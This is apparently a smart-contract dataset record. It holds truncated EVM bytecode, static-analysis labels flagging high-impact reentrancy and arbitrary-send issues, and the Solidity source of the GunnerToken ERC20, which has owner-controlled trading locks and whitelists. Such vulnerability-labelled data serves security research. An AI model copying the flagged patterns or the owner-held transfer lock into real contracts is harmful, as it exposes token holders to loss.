19080368337019050509050308160008151811061112c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118057600080fd5b505afa158015611194573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b8919061175f565b816001815181106111d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546111ff9130911684610ad5565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906112389085906000908690309042906004016119ea565b600060405180830381600087803b15801561125257600080fd5b505af1158015611266573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60008261128a57506000610381565b60006112968385611a92565b9050826112a38583611a72565b146110cf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041a565b60006110cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061138d565b80611349576113496113bb565b6113548484846113e9565b80610f8d57610f8d600c54600a55600d54600b55565b60008060006113776114e0565b909250905061138682826112fa565b9250505090565b600081836113ae5760405162461bcd60e51b815260040161041a9190611962565b506000610fc48486611a72565b600a541580156113cb5750600b54155b156113d257565b600a8054600c55600b8054600d5560009182905555565b6000806000806000806113fb87611528565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061142d9087611585565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461145c90866115c7565b6001600160a01b03891660009081526002602052604090205561147e81611626565b6114888483611670565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114cd91815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006114ff82826112fa565b82101561151f575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006115458a600a54600b54611694565b925092509250600061155561136a565b905060008060006115688e8787876116e3565b919e509c509a509598509396509194505050505091939550919395565b60006110cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f93565b6000806115d48385611a5a565b9050838110156110cf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041a565b600061163061136a565b9050600061163e838361127b565b3060009081526002602052604090205490915061165b90826115c7565b30600090815260026020526040902055505050565b60085461167d9083611585565b60085560095461168d90826115c7565b6009555050565b60008080806116a86064610a94898961127b565b905060006116bb6064610a948a8961127b565b905060006116d3826116cd8b86611585565b90611585565b9992985090965090945050505050565b60008080806116f2888661127b565b90506000611700888761127b565b9050600061170e888861127b565b90506000611720826116cd8686611585565b939b939a50919850919650505050505050565b803561173e81611b0f565b919050565b600060208284031215611754578081fd5b81356110cf81611b0f565b600060208284031215611770578081fd5b81516110cf81611b0f565b6000806040838503121561178d578081fd5b823561179881611b0f565b915060208301356117a881611b0f565b809150509250929050565b6000806000606084860312156117c7578081fd5b83356117d281611b0f565b925060208401356117e281611b0f565b929592945050506040919091013590565b60008060408385031215611805578182fd5b823561181081611b0f565b946020939093013593505050565b60006020808385031215611830578182fd5b823567ffffffffffffffff80821115611847578384fd5b818501915085601f83011261185a578384fd5b81358181111561186c5761186c611af9565b8060051b604051601f19603f8301168101818110858211171561189157611891611af9565b604052828152858101935084860182860187018a10156118af578788fd5b8795505b838610156118d8576118c481611733565b8552600195909501949386019386016118b3565b5098975050505050505050565b6000602082840312156118f6578081fd5b81356110cf81611b24565b600060208284031215611912578081fd5b81516110cf81611b24565b60006020828403121561192e578081fd5b5035919050565b600080600060608486031215611949578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561198e57858101830151858201604001528201611972565b8181111561199f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a395784516001600160a01b031683529383019391830191600101611a14565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a6d57611a6d611ae3565b500190565b600082611a8d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611aac57611aac611ae3565b500290565b600082821015611ac357611ac3611ae3565b500390565b6000600019821415611adc57611adc611ae3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104b657600080fd5b80151581146104b657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a8aa6fbd7c2c75accd347d42945b89f7d3b7224ccab64d8da404595657d9e2a164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,021 |
0xe68e13d9fd0faf8bd7d9abeb88c4c65b75cc50d1
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.5;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/GSN/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GunnerToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
mapping (address => bool) public _whiteList;
mapping (address => bool) public _lockWhiteList;
uint256 constant _maxAmountAtStart = 50000000000000000000000000;
uint256 _disableMaxTxDate;
bool locked = true;
constructor () public {
_name = 'Gunner Finance';
_symbol = 'GUNNER';
_decimals = 18;
uint256 amount = 20000000000000000000000000; // 20,000,000
_totalSupply = amount;
_balances[_msgSender()] = amount;
_whiteList[_msgSender()] = true;
_lockWhiteList[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), amount);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'ERC20: decreased allowance below zero'));
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, 'ERC20: burn amount exceeds allowance');
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function addToWhitelist(address wallet) onlyOwner() external {
_whiteList[wallet] = true;
}
function removeFromWhitelist(address wallet) onlyOwner() external {
_whiteList[wallet] = false;
}
function setMaxTxDate() onlyOwner() external {
require(_disableMaxTxDate == 0, 'ERC20: Already setted');
_disableMaxTxDate = block.timestamp + 24 hours;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
require(!locked || _lockWhiteList[sender] || _lockWhiteList[recipient], 'ERC20: Not released yet');
if (!_whiteList[recipient] && !_whiteList[sender] && _disableMaxTxDate > 0 && block.timestamp < _disableMaxTxDate) {
require(amount <= _maxAmountAtStart, 'ERC20: Big transactions are locked the first 24h');
}
_balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function addToLockWhitelist(address wallet) onlyOwner() external {
_lockWhiteList[wallet] = true;
}
function removeFromLockWhitelist(address wallet) onlyOwner() external {
_lockWhiteList[wallet] = false;
}
function release() onlyOwner external {
locked = false;
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806379cc6790116100c3578063a457c2d71161007c578063a457c2d714610673578063a9059cbb146106d9578063c500d2801461073f578063dd62ed3e14610783578063e43252d7146107fb578063f2fde38b1461083f57610158565b806379cc6790146104c65780637a0adffc1461051457806386d1a69f146105585780638ab1d681146105625780638da5cb5b146105a657806395d89b41146105f057610158565b8063313ce56711610115578063313ce567146103a257806339509351146103c657806342966c681461042c5780634e4332ab1461045a57806370a0823114610464578063715018a6146104bc57610158565b806305d60ffb1461015d57806306fdde03146101b9578063095ea7b31461023c5780630a07e6bc146102a257806318160ddd146102fe57806323b872dd1461031c575b600080fd5b61019f6004803603602081101561017357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610883565b604051808215151515815260200191505060405180910390f35b6101c16108a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102015780820151818401526020810190506101e6565b50505050905090810190601f16801561022e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102886004803603604081101561025257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610945565b604051808215151515815260200191505060405180910390f35b6102e4600480360360208110156102b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610963565b604051808215151515815260200191505060405180910390f35b610306610983565b6040518082815260200191505060405180910390f35b6103886004803603606081101561033257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061098d565b604051808215151515815260200191505060405180910390f35b6103aa610a66565b604051808260ff1660ff16815260200191505060405180910390f35b610412600480360360408110156103dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7d565b604051808215151515815260200191505060405180910390f35b6104586004803603602081101561044257600080fd5b8101908080359060200190929190505050610b30565b005b610462610b44565b005b6104a66004803603602081101561047a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c93565b6040518082815260200191505060405180910390f35b6104c4610cdc565b005b610512600480360360408110156104dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e64565b005b6105566004803603602081101561052a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ec6565b005b610560610fea565b005b6105a46004803603602081101561057857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d0565b005b6105ae6111f4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105f861121d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561063857808201518184015260208101905061061d565b50505050905090810190601f1680156106655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106bf6004803603604081101561068957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112bf565b604051808215151515815260200191505060405180910390f35b610725600480360360408110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061138c565b604051808215151515815260200191505060405180910390f35b6107816004803603602081101561075557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113aa565b005b6107e56004803603604081101561079957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ce565b6040518082815260200191505060405180910390f35b61083d6004803603602081101561081157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611555565b005b6108816004803603602081101561085557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611679565b005b60076020528060005260406000206000915054906101000a900460ff1681565b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561093b5780601f106109105761010080835404028352916020019161093b565b820191906000526020600020905b81548152906001019060200180831161091e57829003601f168201915b5050505050905090565b6000610959610952611886565b848461188e565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600654905090565b600061099a848484611a85565b610a5b846109a6611886565b610a56856040518060600160405280602881526020016123c360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a0c611886565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f939092919063ffffffff16565b61188e565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610b26610a8a611886565b84610b218560026000610a9b611886565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b61188e565b6001905092915050565b610b41610b3b611886565b826120db565b50565b610b4c611886565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600060095414610c85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f45524332303a20416c726561647920736574746564000000000000000000000081525060200191505060405180910390fd5b620151804201600981905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ce4611886565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610ea3826040518060600160405280602481526020016123eb60249139610e9486610e8f611886565b6114ce565b611f939092919063ffffffff16565b9050610eb783610eb1611886565b8361188e565b610ec183836120db565b505050565b610ece611886565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ff2611886565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600a60006101000a81548160ff021916908315150217905550565b6110d8611886565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112b55780601f1061128a576101008083540402835291602001916112b5565b820191906000526020600020905b81548152906001019060200180831161129857829003601f168201915b5050505050905090565b60006113826112cc611886565b8461137d8560405180606001604052806025815260200161247960259139600260006112f6611886565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f939092919063ffffffff16565b61188e565b6001905092915050565b60006113a0611399611886565b8484611a85565b6001905092915050565b6113b2611886565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611473576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61155d611886565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461161e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611681611886565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611742576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806123556026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611914576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124556024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561199a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061237b6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b0b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124306025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806122e06023913960400191505060405180910390fd5b600a60009054906101000a900460ff161580611bf65750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c4a5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a204e6f742072656c65617365642079657400000000000000000081525060200191505060405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d605750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d6e57506000600954115b8015611d7b575060095442105b15611de5576a295be96e64066972000000811115611de4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806123256030913960400191505060405180910390fd5b5b611e518160405180606001604052806026815260200161239d60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f939092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff